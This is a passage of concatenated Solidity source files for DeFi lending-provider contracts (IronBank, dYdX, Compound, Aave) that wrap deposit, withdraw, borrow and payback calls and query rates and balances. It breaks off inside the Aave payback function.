interface IWeth is IERC20 {
function deposit() external payable;
function withdraw(uint256 wad) external;
}
interface ICyErc20 is IGenCyToken {
function mint(uint256) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
}
interface IComptroller {
function markets(address) external returns (bool, uint256);
function enterMarkets(address[] calldata) external returns (uint256[] memory);
function exitMarket(address cyTokenAddress) external returns (uint256);
function getAccountLiquidity(address)
external
view
returns (
uint256,
uint256,
uint256
);
}
interface IFujiMappings {
function addressMapping(address) external view returns (address);
}
contract HelperFunct {
function _isETH(address token) internal pure returns (bool) {
return (token == address(0) || token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE));
}
function _getMappingAddr() internal pure returns (address) {
return 0x17525aFdb24D24ABfF18108E7319b93012f3AD24;
}
function _getComptrollerAddress() internal pure returns (address) {
return 0xAB1c342C7bf5Ec5F02ADEA1c2270670bCa144CbB;
}
//IronBank functions
/**
* @dev Approves vault's assets as collateral for IronBank Protocol.
* @param _cyTokenAddress: asset type to be approved as collateral.
*/
function _enterCollatMarket(address _cyTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
address[] memory cyTokenMarkets = new address[](1);
cyTokenMarkets[0] = _cyTokenAddress;
comptroller.enterMarkets(cyTokenMarkets);
}
/**
* @dev Removes vault's assets as collateral for IronBank Protocol.
* @param _cyTokenAddress: asset type to be removed as collateral.
*/
function _exitCollatMarket(address _cyTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
comptroller.exitMarket(_cyTokenAddress);
}
}
contract ProviderIronBank is IProvider, HelperFunct {
using SafeMath for uint256;
using UniERC20 for IERC20;
//Provider Core Functions
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Enter and/or ensure collateral market is enacted
_enterCollatMarket(cyTokenAddr);
if (_isETH(_asset)) {
// Transform ETH to WETH
IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).deposit{ value: _amount }();
_asset = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
}
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the cyToken contract
ICyErc20 cyToken = ICyErc20(cyTokenAddr);
//Checks, Vault balance of ERC20 to make deposit
require(erc20token.balanceOf(address(this)) >= _amount, "Not enough Balance");
//Approve to move ERC20tokens
erc20token.uniApprove(address(cyTokenAddr), _amount);
// IronBank Protocol mints cyTokens, trhow error if not
require(cyToken.mint(_amount) == 0, "Deposit-failed");
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cyToken contract
IGenCyToken cyToken = IGenCyToken(cyTokenAddr);
//IronBank Protocol Redeem Process, throw errow if not.
require(cyToken.redeemUnderlying(_amount) == 0, "Withdraw-failed");
if (_isETH(_asset)) {
// Transform ETH to WETH
IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).withdraw(_amount);
}
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cyToken contract
IGenCyToken cyToken = IGenCyToken(cyTokenAddr);
//Enter and/or ensure collateral market is enacted
//_enterCollatMarket(cyTokenAddr);
//IronBank Protocol Borrow Process, throw errow if not.
require(cyToken.borrow(_amount) == 0, "borrow-failed");
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
if (_isETH(_asset)) {
// Transform ETH to WETH
IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).deposit{ value: _amount }();
_asset = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
}
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the corresponding cyToken contract
ICyErc20 cyToken = ICyErc20(cyTokenAddr);
// Check there is enough balance to pay
require(erc20token.balanceOf(address(this)) >= _amount, "Not-enough-token");
erc20token.uniApprove(address(cyTokenAddr), _amount);
cyToken.repayBorrow(_amount);
}
/**
* @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27).
* @param _asset: token address to query the current borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Block Rate transformed for common mantissa for Fuji in ray (1e27), Note: IronBank uses base 1e18
uint256 bRateperBlock = (IGenCyToken(cyTokenAddr).borrowRatePerBlock()).mul(10**9);
// The approximate number of blocks per year that is assumed by the IronBank interest rate model
uint256 blocksperYear = 2102400;
return bRateperBlock.mul(blocksperYear);
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCyToken(cyTokenAddr).borrowBalanceStored(msg.sender);
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* This function is the accurate way to get IronBank borrow balance.
* It costs ~84K gas and is not a view function.
* @param _asset token address to query the balance.
* @param _who address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCyToken(cyTokenAddr).borrowBalanceCurrent(_who);
}
/**
* @dev Returns the deposit balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
uint256 cyTokenBal = IGenCyToken(cyTokenAddr).balanceOf(msg.sender);
uint256 exRate = IGenCyToken(cyTokenAddr).exchangeRateStored();
return exRate.mul(cyTokenBal).div(1e18);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface IWethERC20 is IERC20 {
function deposit() external payable;
function withdraw(uint256) external;
}
interface SoloMarginContract {
struct Info {
address owner;
uint256 number;
}
struct Price {
uint256 value;
}
struct Value {
uint256 value;
}
struct Rate {
uint256 value;
}
enum ActionType { Deposit, Withdraw, Transfer, Buy, Sell, Trade, Liquidate, Vaporize, Call }
enum AssetDenomination { Wei, Par }
enum AssetReference { Delta, Target }
struct AssetAmount {
bool sign;
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
struct Wei {
bool sign;
uint256 value;
}
function operate(Info[] calldata _accounts, ActionArgs[] calldata _actions) external;
function getAccountWei(Info calldata _account, uint256 _marketId)
external
view
returns (Wei memory);
function getNumMarkets() external view returns (uint256);
function getMarketTokenAddress(uint256 _marketId) external view returns (address);
function getAccountValues(Info memory _account)
external
view
returns (Value memory, Value memory);
function getMarketInterestRate(uint256 _marketId) external view returns (Rate memory);
}
contract HelperFunct {
/**
* @dev get Dydx Solo Address
*/
function getDydxAddress() public pure returns (address addr) {
addr = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
}
/**
* @dev get WETH address
*/
function getWETHAddr() public pure returns (address weth) {
weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
}
/**
* @dev Return ethereum address
*/
function _getEthAddr() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address
}
/**
* @dev Get Dydx Market ID from token Address
*/
function _getMarketId(SoloMarginContract _solo, address _token)
internal
view
returns (uint256 _marketId)
{
uint256 markets = _solo.getNumMarkets();
address token = _token == _getEthAddr() ? getWETHAddr() : _token;
bool check = false;
for (uint256 i = 0; i < markets; i++) {
if (token == _solo.getMarketTokenAddress(i)) {
_marketId = i;
check = true;
break;
}
}
require(check, "DYDX Market doesnt exist!");
}
/**
* @dev Get Dydx Acccount arg
*/
function _getAccountArgs() internal view returns (SoloMarginContract.Info[] memory) {
SoloMarginContract.Info[] memory accounts = new SoloMarginContract.Info[](1);
accounts[0] = (SoloMarginContract.Info(address(this), 0));
return accounts;
}
/**
* @dev Get Dydx Actions args.
*/
function _getActionsArgs(
uint256 _marketId,
uint256 _amt,
bool _sign
) internal view returns (SoloMarginContract.ActionArgs[] memory) {
SoloMarginContract.ActionArgs[] memory actions = new SoloMarginContract.ActionArgs[](1);
SoloMarginContract.AssetAmount memory amount =
SoloMarginContract.AssetAmount(
_sign,
SoloMarginContract.AssetDenomination.Wei,
SoloMarginContract.AssetReference.Delta,
_amt
);
bytes memory empty;
SoloMarginContract.ActionType action =
_sign ? SoloMarginContract.ActionType.Deposit : SoloMarginContract.ActionType.Withdraw;
actions[0] = SoloMarginContract.ActionArgs(
action,
0,
amount,
_marketId,
0,
address(this),
0,
empty
);
return actions;
}
}
contract ProviderDYDX is IProvider, HelperFunct {
using SafeMath for uint256;
using UniERC20 for IERC20;
bool public donothing = true;
//Provider Core Functions
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.deposit{ value: _amount }();
tweth.approve(getDydxAddress(), _amount);
} else {
IWethERC20 tweth = IWethERC20(_asset);
tweth.approve(getDydxAddress(), _amount);
}
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, true));
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, false));
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.approve(address(tweth), _amount);
tweth.withdraw(_amount);
}
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, false));
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.approve(address(_asset), _amount);
tweth.withdraw(_amount);
}
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.deposit{ value: _amount }();
tweth.approve(getDydxAddress(), _amount);
} else {
IWethERC20 tweth = IWethERC20(_asset);
tweth.approve(getDydxAddress(), _amount);
}
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, true));
}
/**
* @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27).
* @param _asset: token address to query the current borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Rate memory _rate = dydxContract.getMarketInterestRate(marketId);
return (_rate.value).mul(1e9).mul(365 days);
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Info memory account =
SoloMarginContract.Info({ owner: msg.sender, number: 0 });
SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId);
return structbalance.value;
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
* @param _who: address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Info memory account = SoloMarginContract.Info({ owner: _who, number: 0 });
SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId);
return structbalance.value;
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Info memory account =
SoloMarginContract.Info({ owner: msg.sender, number: 0 });
SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId);
return structbalance.value;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface IGenCToken is IERC20 {
function redeem(uint256) external returns (uint256);
function redeemUnderlying(uint256) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) external view returns (uint256);
function getCash() external view returns (uint256);
}
interface ICErc20 is IGenCToken {
function mint(uint256) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
}
interface ICEth is IGenCToken {
function mint() external payable;
function repayBorrow() external payable;
function repayBorrowBehalf(address borrower) external payable;
}
interface IComptroller {
function markets(address) external returns (bool, uint256);
function enterMarkets(address[] calldata) external returns (uint256[] memory);
function exitMarket(address cTokenAddress) external returns (uint256);
function getAccountLiquidity(address)
external
view
returns (
uint256,
uint256,
uint256
);
}
interface IFujiMappings {
function addressMapping(address) external view returns (address);
}
contract HelperFunct {
function _isETH(address token) internal pure returns (bool) {
return (token == address(0) || token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE));
}
function _getMappingAddr() internal pure returns (address) {
return 0x6b09443595BFb8F91eA837c7CB4Fe1255782093b;
}
function _getComptrollerAddress() internal pure returns (address) {
return 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
}
//Compound functions
/**
* @dev Approves vault's assets as collateral for Compound Protocol.
* @param _cTokenAddress: asset type to be approved as collateral.
*/
function _enterCollatMarket(address _cTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
address[] memory cTokenMarkets = new address[](1);
cTokenMarkets[0] = _cTokenAddress;
comptroller.enterMarkets(cTokenMarkets);
}
/**
* @dev Removes vault's assets as collateral for Compound Protocol.
* @param _cTokenAddress: asset type to be removed as collateral.
*/
function _exitCollatMarket(address _cTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
comptroller.exitMarket(_cTokenAddress);
}
}
contract ProviderCompound is IProvider, HelperFunct {
using SafeMath for uint256;
using UniERC20 for IERC20;
//Provider Core Functions
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Enter and/or ensure collateral market is enacted
_enterCollatMarket(cTokenAddr);
if (_isETH(_asset)) {
// Create a reference to the cToken contract
ICEth cToken = ICEth(cTokenAddr);
//Compound protocol Mints cTokens, ETH method
cToken.mint{ value: _amount }();
} else {
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the cToken contract
ICErc20 cToken = ICErc20(cTokenAddr);
//Checks, Vault balance of ERC20 to make deposit
require(erc20token.balanceOf(address(this)) >= _amount, "Not enough Balance");
//Approve to move ERC20tokens
erc20token.uniApprove(address(cTokenAddr), _amount);
// Compound Protocol mints cTokens, trhow error if not
require(cToken.mint(_amount) == 0, "Deposit-failed");
}
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cToken contract
IGenCToken cToken = IGenCToken(cTokenAddr);
//Compound Protocol Redeem Process, throw errow if not.
require(cToken.redeemUnderlying(_amount) == 0, "Withdraw-failed");
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cToken contract
IGenCToken cToken = IGenCToken(cTokenAddr);
//Enter and/or ensure collateral market is enacted
//_enterCollatMarket(cTokenAddr);
//Compound Protocol Borrow Process, throw errow if not.
require(cToken.borrow(_amount) == 0, "borrow-failed");
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
if (_isETH(_asset)) {
// Create a reference to the corresponding cToken contract
ICEth cToken = ICEth(cTokenAddr);
cToken.repayBorrow{ value: msg.value }();
} else {
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the corresponding cToken contract
ICErc20 cToken = ICErc20(cTokenAddr);
// Check there is enough balance to pay
require(erc20token.balanceOf(address(this)) >= _amount, "Not-enough-token");
erc20token.uniApprove(address(cTokenAddr), _amount);
cToken.repayBorrow(_amount);
}
}
/**
* @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27).
* @param _asset: token address to query the current borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Block Rate transformed for common mantissa for Fuji in ray (1e27), Note: Compound uses base 1e18
uint256 bRateperBlock = (IGenCToken(cTokenAddr).borrowRatePerBlock()).mul(10**9);
// The approximate number of blocks per year that is assumed by the Compound interest rate model
uint256 blocksperYear = 2102400;
return bRateperBlock.mul(blocksperYear);
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCToken(cTokenAddr).borrowBalanceStored(msg.sender);
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* This function is the accurate way to get Compound borrow balance.
* It costs ~84K gas and is not a view function.
* @param _asset token address to query the balance.
* @param _who address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCToken(cTokenAddr).borrowBalanceCurrent(_who);
}
/**
* @dev Returns the deposit balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
uint256 cTokenBal = IGenCToken(cTokenAddr).balanceOf(msg.sender);
uint256 exRate = IGenCToken(cTokenAddr).exchangeRateStored();
return exRate.mul(cTokenBal).div(1e18);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.0;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface ITokenInterface {
function approve(address, uint256) external;
function transfer(address, uint256) external;
function transferFrom(
address,
address,
uint256
) external;
function deposit() external payable;
function withdraw(uint256) external;
function balanceOf(address) external view returns (uint256);
function decimals() external view returns (uint256);
}
interface IAaveInterface {
function deposit(
address _asset,
uint256 _amount,
address _onBehalfOf,
uint16 _referralCode
) external;
function withdraw(
address _asset,
uint256 _amount,
address _to
) external;
function borrow(
address _asset,
uint256 _amount,
uint256 _interestRateMode,
uint16 _referralCode,
address _onBehalfOf
) external;
function repay(
address _asset,
uint256 _amount,
uint256 _rateMode,
address _onBehalfOf
) external;
function setUserUseReserveAsCollateral(address _asset, bool _useAsCollateral) external;
}
interface AaveLendingPoolProviderInterface {
function getLendingPool() external view returns (address);
}
interface AaveDataProviderInterface {
function getReserveTokensAddresses(address _asset)
external
view
returns (
address aTokenAddress,
address stableDebtTokenAddress,
address variableDebtTokenAddress
);
function getUserReserveData(address _asset, address _user)
external
view
returns (
uint256 currentATokenBalance,
uint256 currentStableDebt,
uint256 currentVariableDebt,
uint256 principalStableDebt,
uint256 scaledVariableDebt,
uint256 stableBorrowRate,
uint256 liquidityRate,
uint40 stableRateLastUpdated,
bool usageAsCollateralEnabled
);
function getReserveData(address _asset)
external
view
returns (
uint256 availableLiquidity,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 liquidityRate,
uint256 variableBorrowRate,
uint256 stableBorrowRate,
uint256 averageStableBorrowRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex,
uint40 lastUpdateTimestamp
);
}
interface AaveAddressProviderRegistryInterface {
function getAddressesProvidersList() external view returns (address[] memory);
}
contract ProviderAave is IProvider {
using SafeMath for uint256;
using UniERC20 for IERC20;
function _getAaveProvider() internal pure returns (AaveLendingPoolProviderInterface) {
return AaveLendingPoolProviderInterface(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); //mainnet
}
function _getAaveDataProvider() internal pure returns (AaveDataProviderInterface) {
return AaveDataProviderInterface(0x057835Ad21a177dbdd3090bB1CAE03EaCF78Fc6d); //mainnet
}
function _getWethAddr() internal pure returns (address) {
return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // Mainnet WETH Address
}
function _getEthAddr() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address
}
function _getIsColl(
AaveDataProviderInterface _aaveData,
address _token,
address _user
) internal view returns (bool isCol) {
(, , , , , , , , isCol) = _aaveData.getUserReserveData(_token, _user);
}
function _convertEthToWeth(
bool _isEth,
ITokenInterface _token,
uint256 _amount
) internal {
if (_isEth) _token.deposit{ value: _amount }();
}
function _convertWethToEth(
bool _isEth,
ITokenInterface _token,
uint256 _amount
) internal {
if (_isEth) {
_token.approve(address(_token), _amount);
_token.withdraw(_amount);
}
}
/**
* @dev Return the borrowing rate of ETH/ERC20_Token.
* @param _asset to query the borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
(, , , , uint256 variableBorrowRate, , , , , ) =
AaveDataProviderInterface(aaveData).getReserveData(
_asset == _getEthAddr() ? _getWethAddr() : _asset
);
return variableBorrowRate;
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* @param _asset token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
(, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, msg.sender);
return variableDebt;
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* @param _asset token address to query the balance.
* @param _who address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
(, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, _who);
return variableDebt;
}
/**
* @dev Return deposit balance of ETH/ERC20_Token.
* @param _asset token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
(uint256 atokenBal, , , , , , , , ) = aaveData.getUserReserveData(_token, msg.sender);
return atokenBal;
}
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset token address to deposit.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
ITokenInterface tokenContract = ITokenInterface(_token);
if (isEth) {
_amount = _amount == uint256(-1) ? address(this).balance : _amount;
_convertEthToWeth(isEth, tokenContract, _amount);
} else {
_amount = _amount == uint256(-1) ? tokenContract.balanceOf(address(this)) : _amount;
}
tokenContract.approve(address(aave), _amount);
aave.deposit(_token, _amount, address(this), 0);
if (!_getIsColl(aaveData, _token, address(this))) {
aave.setUserUseReserveAsCollateral(_token, true);
}
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
aave.borrow(_token, _amount, 2, 0, address(this));
_convertWethToEth(isEth, ITokenInterface(_token), _amount);
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset token address to withdraw.
* @param _amount token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
ITokenInterface tokenContract = ITokenInterface(_token);
uint256 initialBal = tokenContract.balanceOf(address(this));
aave.withdraw(_token, _amount, address(this));
uint256 finalBal = tokenContract.balanceOf(address(this));
_amount = finalBal.sub(initialBal);
_convertWethToEth(isEth, tokenContract, _amount);
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.
* @param _amount token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
